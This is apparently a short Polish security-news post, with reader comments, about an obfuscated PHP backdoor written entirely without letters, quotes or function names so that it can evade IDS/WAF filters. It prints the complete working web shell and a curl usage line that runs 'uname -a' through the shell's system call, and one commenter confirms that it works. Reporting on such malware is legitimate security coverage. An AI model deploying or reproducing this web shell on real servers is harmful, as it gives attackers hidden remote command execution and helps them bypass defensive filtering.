Również bez cudzysłowów, funkcji, stałych… Ciekawe, ile systemów typu IDS/WAF może ominąć. Wygląda tak:
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
a używa się jej tak:
$ curl 'http://127.0.0.1:9999/shell.php?0=system&1=uname%20-a'
Nasza wiedza nie wystarcza, by zrozumieć jej działanie, dlatego odsyłamy do wyjaśnienia opisanego przez firmę Sucuri.
Komentarze
W końcu ktoś znalazł praktyczne użycie dla nienowej idei PHP non-alpha :-)
A co do WAFów itp – jak można kod wstrzyknąć to aż tak wielkiej różnicy chyba nie robi, czy jest obfuskowany, czy nie – zwykle da się przejąć kontrolę gdy można wykonywać swój kod.
Tytuł jest trochę mylący bo sugeruje backdoor w samym PHP, a mowa jest o exploicie wykorzystującym dziurę dającą dostęp do poleceń systemu operacyjnego.
„Napisana w PHP” brzmiało strasznie „nietytułowo”. Ale gdyby była „tylna furtka w assemblerze” to by chyba już nie było wątpliwości :)
Jakby była tylna furtka w aseblerze to trzeba by użyć innego asemblera, gożej jakby była w Asemblerze…
Nice!
Bardzo fajny pomysł i w dodatku działa.